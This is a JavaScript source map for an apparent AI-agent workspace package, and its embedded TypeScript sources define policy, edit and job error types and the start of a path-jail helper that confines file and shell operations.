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"}
|
|
1
|
+
{"version":3,"file":"index.cjs","names":["AIError","path","path","canonicalize","path","fs","path","platform","fs","StringDecoder","DEFAULT_NAME","inputSchema","DEFAULT_NAME","inputSchema","DEFAULT_NAME","inputSchema","DEFAULT_NAME","inputSchema","DEFAULT_NAME","inputSchema","DEFAULT_NAME","inputSchema","path"],"sources":["../../../../../../../packages/ai-workspace/src/errors.ts","../../../../../../../packages/ai-workspace/src/policy/jail.ts","../../../../../../../packages/ai-workspace/src/policy/shell-parser.ts","../../../../../../../packages/ai-workspace/src/policy/tokenize-command.ts","../../../../../../../packages/ai-workspace/src/policy/shell-check.ts","../../../../../../../packages/ai-workspace/src/policy/policy.ts","../../../../../../../packages/ai-workspace/src/shell-jobs.ts","../../../../../../../packages/ai-workspace/src/ops.ts","../../../../../../../packages/ai-workspace/src/backends/local.ts","../../../../../../../packages/ai-workspace/src/backends/mock.ts","../../../../../../../packages/ai-workspace/src/tools/schema.ts","../../../../../../../packages/ai-workspace/src/tools/json-schemas.ts","../../../../../../../packages/ai-workspace/src/tools/edit-file.ts","../../../../../../../packages/ai-workspace/src/tools/glob.ts","../../../../../../../packages/ai-workspace/src/tools/grep.ts","../../../../../../../packages/ai-workspace/src/tools/list-dir.ts","../../../../../../../packages/ai-workspace/src/tools/multi-edit.ts","../../../../../../../packages/ai-workspace/src/tools/read-file.ts","../../../../../../../packages/ai-workspace/src/tools/run-shell.ts","../../../../../../../packages/ai-workspace/src/tools/run-tests.ts","../../../../../../../packages/ai-workspace/src/tools/shell-kill.ts","../../../../../../../packages/ai-workspace/src/tools/shell-output.ts","../../../../../../../packages/ai-workspace/src/todos.ts","../../../../../../../packages/ai-workspace/src/tools/todo.ts","../../../../../../../packages/ai-workspace/src/tools/write-file.ts","../../../../../../../packages/ai-workspace/src/workspace.ts"],"sourcesContent":["import { AIError, type AIErrorOptions } from \"@warlock.js/ai\";\n\n/**\n * Why a workspace policy check rejected an operation.\n *\n * - `\"path-escape\"` — a resolved path fell outside the `cwd` jail (or an\n * `allowPaths` root), or matched a `denyPaths` glob.\n * - `\"denied-command\"` — the shell policy refused a command line (`reason`\n * says why: an executable outside `shell.allow` or inside `shell.deny`, a\n * metacharacter in argv mode, a redirection outside the jail in shell\n * mode, …), or a mutating method was called on a read-only projection.\n * - `\"unsafe-pattern\"` — a `grep` pattern was too long or matched a\n * catastrophic-backtracking shape (nested quantifiers) that could hang\n * the process (ReDoS).\n */\nexport type WorkspacePolicyViolation = \"path-escape\" | \"denied-command\" | \"unsafe-pattern\";\n\n/**\n * Why the shell policy refused a command. Set on every\n * {@link WorkspacePolicyError} of type `\"denied-command\"` raised for a\n * command line, so a host can phrase the refusal itself instead of parsing\n * the message.\n *\n * - `\"metacharacter\"` — argv mode (the default `interpreter: \"none\"`) met an\n * unquoted shell operator (`&&`, `;`, `|`, `>`, `$`, backticks, …). The\n * message suggests how to split the line into separate commands.\n * - `\"unbalanced-quotes\"` — a quote is never closed.\n * - `\"denied-executable\"` — a command's executable is listed in `shell.deny`.\n * - `\"not-allowed\"` — a command's executable is not in `shell.allow`, the\n * `shell.allowCommand` hook refused it, the workspace has no shell policy,\n * the line is empty, or background commands are not enabled.\n * - `\"denied-pattern\"` — a command matched one of `shell.denyPatterns`.\n * - `\"nested-command\"` — a command runs another command the policy cannot\n * inspect (`bash -c …`, `eval`, `xargs`, `sudo`, a wrapper with options the\n * policy cannot read), while the policy has deny rules it would bypass.\n * - `\"unsupported-syntax\"` — shell mode (`interpreter: \"sh\"`) met syntax the\n * policy does not parse with confidence (compound commands, arithmetic,\n * brace expansion, background `&`, a command name decided at run time, …),\n * so the line is refused rather than guessed at.\n * - `\"path-escape\"` — shell mode: a redirection target or `cd` directory\n * resolves outside the workspace jail or hits `denyPaths`.\n */\nexport type WorkspaceShellRefusalReason =\n | \"metacharacter\"\n | \"unbalanced-quotes\"\n | \"denied-executable\"\n | \"not-allowed\"\n | \"denied-pattern\"\n | \"nested-command\"\n | \"unsupported-syntax\"\n | \"path-escape\";\n\n/**\n * Options for {@link WorkspacePolicyError} — the structured `type`\n * discriminator plus, where relevant, the offending path or command for\n * branchable diagnostics without parsing the message.\n */\nexport type WorkspacePolicyErrorOptions = AIErrorOptions & {\n /** Which policy rule was violated. */\n type: WorkspacePolicyViolation;\n /** The offending workspace-relative path (for `\"path-escape\"`). */\n path?: string;\n /** The offending command line (for `\"denied-command\"`). */\n command?: string;\n /** The offending regex pattern (for `\"unsafe-pattern\"`). */\n pattern?: string;\n /** Why the shell policy refused the command (for `\"denied-command\"`). */\n reason?: WorkspaceShellRefusalReason;\n /** The executable the refusal is about, when there is one. */\n executable?: string;\n};\n\n/**\n * The workspace policy engine refused an operation — a path escaped the\n * jail (or hit a deny glob), or a shell command's executable was not\n * allowed.\n *\n * **Surface.** This is returned to the agent as tool-error *data*, never\n * a thrown run-killer — the agent reads the failure and self-corrects.\n * Extends the framework `AIError` (category `\"tool\"`, code\n * `TOOL_EXEC_FAILED`) so it flows through the same typed error contract\n * as every other AI error; branch on `error.type` for the specific\n * violation.\n *\n * @example\n * if (error instanceof WorkspacePolicyError && error.type === \"denied-command\") {\n * console.warn(`Blocked command: ${error.command}`);\n * }\n */\nexport class WorkspacePolicyError extends AIError {\n /** Which policy rule was violated. */\n public readonly type: WorkspacePolicyViolation;\n /** The offending path, when the violation was a path escape. */\n public readonly path?: string;\n /** The offending command, when the violation was a denied command. */\n public readonly command?: string;\n /** The offending regex pattern, when the violation was `\"unsafe-pattern\"`. */\n public readonly pattern?: string;\n /**\n * Why the shell policy refused a command line — set on every\n * `\"denied-command\"` refusal of a command (see\n * {@link WorkspaceShellRefusalReason}).\n */\n public readonly reason?: WorkspaceShellRefusalReason;\n /** The executable the shell refusal is about, when there is one. */\n public readonly executable?: string;\n\n public constructor(message: string, options: WorkspacePolicyErrorOptions) {\n super(\"TOOL_EXEC_FAILED\", message, options);\n\n this.name = \"WorkspacePolicyError\";\n this.type = options.type;\n this.path = options.path;\n this.command = options.command;\n this.pattern = options.pattern;\n this.reason = options.reason;\n this.executable = options.executable;\n }\n}\n\n/**\n * Why an edit was rejected.\n *\n * - `\"not-found\"` — the `oldString` did not appear in the file.\n * - `\"not-unique\"` — `oldString` matched more than once and `replaceAll`\n * was not set, so the edit is ambiguous.\n * - `\"stale-hash\"` — the file's current hash did not match the supplied\n * `expectHash`; the file changed since it was read.\n */\nexport type WorkspaceEditFailure = \"not-found\" | \"not-unique\" | \"stale-hash\";\n\n/**\n * Options for {@link WorkspaceEditError} — the structured `type`\n * discriminator plus optional match-count / hash context for the\n * `\"not-unique\"` and `\"stale-hash\"` cases.\n */\nexport type WorkspaceEditErrorOptions = AIErrorOptions & {\n /** Why the edit was rejected. */\n type: WorkspaceEditFailure;\n /** The edited file's workspace-relative path. */\n path: string;\n /** How many times `oldString` matched (for `\"not-unique\"`). */\n matches?: number;\n /** The hash the caller expected (for `\"stale-hash\"`). */\n expectedHash?: string;\n /** The file's actual current hash (for `\"stale-hash\"`). */\n actualHash?: string;\n /** 0-based index of the failing edit, for a `multiEdit` rejection. */\n editIndex?: number;\n};\n\n/**\n * An `editFile` operation was rejected by the read-before-edit guard:\n * the `oldString` was absent, matched non-uniquely without `replaceAll`,\n * or the file's hash no longer matched the supplied `expectHash`.\n *\n * **Surface.** Like {@link WorkspacePolicyError}, returned to the agent\n * as tool-error *data* so it can re-read and retry. Extends `AIError`\n * (category `\"tool\"`, code `TOOL_EXEC_FAILED`); branch on `error.type`.\n *\n * @example\n * if (error instanceof WorkspaceEditError && error.type === \"stale-hash\") {\n * // re-read the file and retry the edit with the fresh hash\n * }\n */\nexport class WorkspaceEditError extends AIError {\n /** Why the edit was rejected. */\n public readonly type: WorkspaceEditFailure;\n /** The edited file's workspace-relative path. */\n public readonly path: string;\n /** How many times `oldString` matched, for the `\"not-unique\"` case. */\n public readonly matches?: number;\n /** The hash the caller expected, for the `\"stale-hash\"` case. */\n public readonly expectedHash?: string;\n /** The file's actual current hash, for the `\"stale-hash\"` case. */\n public readonly actualHash?: string;\n /**\n * For a `multiEdit` rejection, the 0-based index of the edit that failed.\n * Nothing was written: a multi-edit applies all of its edits or none.\n */\n public readonly editIndex?: number;\n\n public constructor(message: string, options: WorkspaceEditErrorOptions) {\n super(\"TOOL_EXEC_FAILED\", message, options);\n\n this.name = \"WorkspaceEditError\";\n this.type = options.type;\n this.path = options.path;\n this.matches = options.matches;\n this.expectedHash = options.expectedHash;\n this.actualHash = options.actualHash;\n this.editIndex = options.editIndex;\n }\n}\n\n/**\n * Why a background-command operation failed.\n *\n * - `\"not-found\"` — no background command with that id exists in this\n * workspace (it never existed, or it finished long enough ago to be\n * pruned).\n */\nexport type WorkspaceJobFailure = \"not-found\";\n\n/** Options for {@link WorkspaceJobError}. */\nexport type WorkspaceJobErrorOptions = AIErrorOptions & {\n /** Why the operation failed. */\n type: WorkspaceJobFailure;\n /** The background command id the caller asked for. */\n jobId: string;\n};\n\n/**\n * A `shell_output` / `shell_kill` call (or `shellOutput()` / `shellKill()`)\n * named a background command this workspace does not know. Returned to the\n * agent as tool-error data like the other workspace errors.\n *\n * @example\n * if (error instanceof WorkspaceJobError && error.type === \"not-found\") {\n * console.warn(`No background command ${error.jobId}`);\n * }\n */\nexport class WorkspaceJobError extends AIError {\n /** Why the operation failed. */\n public readonly type: WorkspaceJobFailure;\n /** The background command id the caller asked for. */\n public readonly jobId: string;\n\n public constructor(message: string, options: WorkspaceJobErrorOptions) {\n super(\"TOOL_EXEC_FAILED\", message, options);\n\n this.name = \"WorkspaceJobError\";\n this.type = options.type;\n this.jobId = options.jobId;\n }\n}\n","import path from \"node:path\";\nimport type { WorkspacePolicy } from \"../contracts\";\n\n/**\n * Whether `child` is contained within `root` (or equals it), comparing\n * absolute paths. Guards against the `/srv/app-evil` vs `/srv/app`\n * prefix-collision by comparing path segments, not string prefixes.\n */\nexport function isInside(child: string, root: string): boolean {\n const relative = path.relative(root, child);\n\n return relative === \"\" || (!relative.startsWith(\"..\") && !path.isAbsolute(relative));\n}\n\n/**\n * Translate a glob (the small subset used by `denyPaths` and\n * `list.ignore` — `*`, `**`, `?`) into an anchored `RegExp` over a\n * `/`-separated relative path. `**` spans path separators; a single `*`\n * does not.\n */\nexport function globToRegExp(glob: string): RegExp {\n let source = \"\";\n\n for (let index = 0; index < glob.length; index++) {\n const char = glob.charAt(index);\n\n if (char === \"*\") {\n if (glob.charAt(index + 1) === \"*\") 